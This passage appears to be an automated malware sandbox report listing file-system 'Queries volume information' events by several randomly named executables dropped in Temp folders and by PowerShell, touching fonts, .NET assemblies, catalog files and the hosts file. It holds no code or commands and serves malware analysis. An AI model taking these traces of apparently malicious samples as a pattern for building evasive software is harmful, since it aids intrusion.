Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
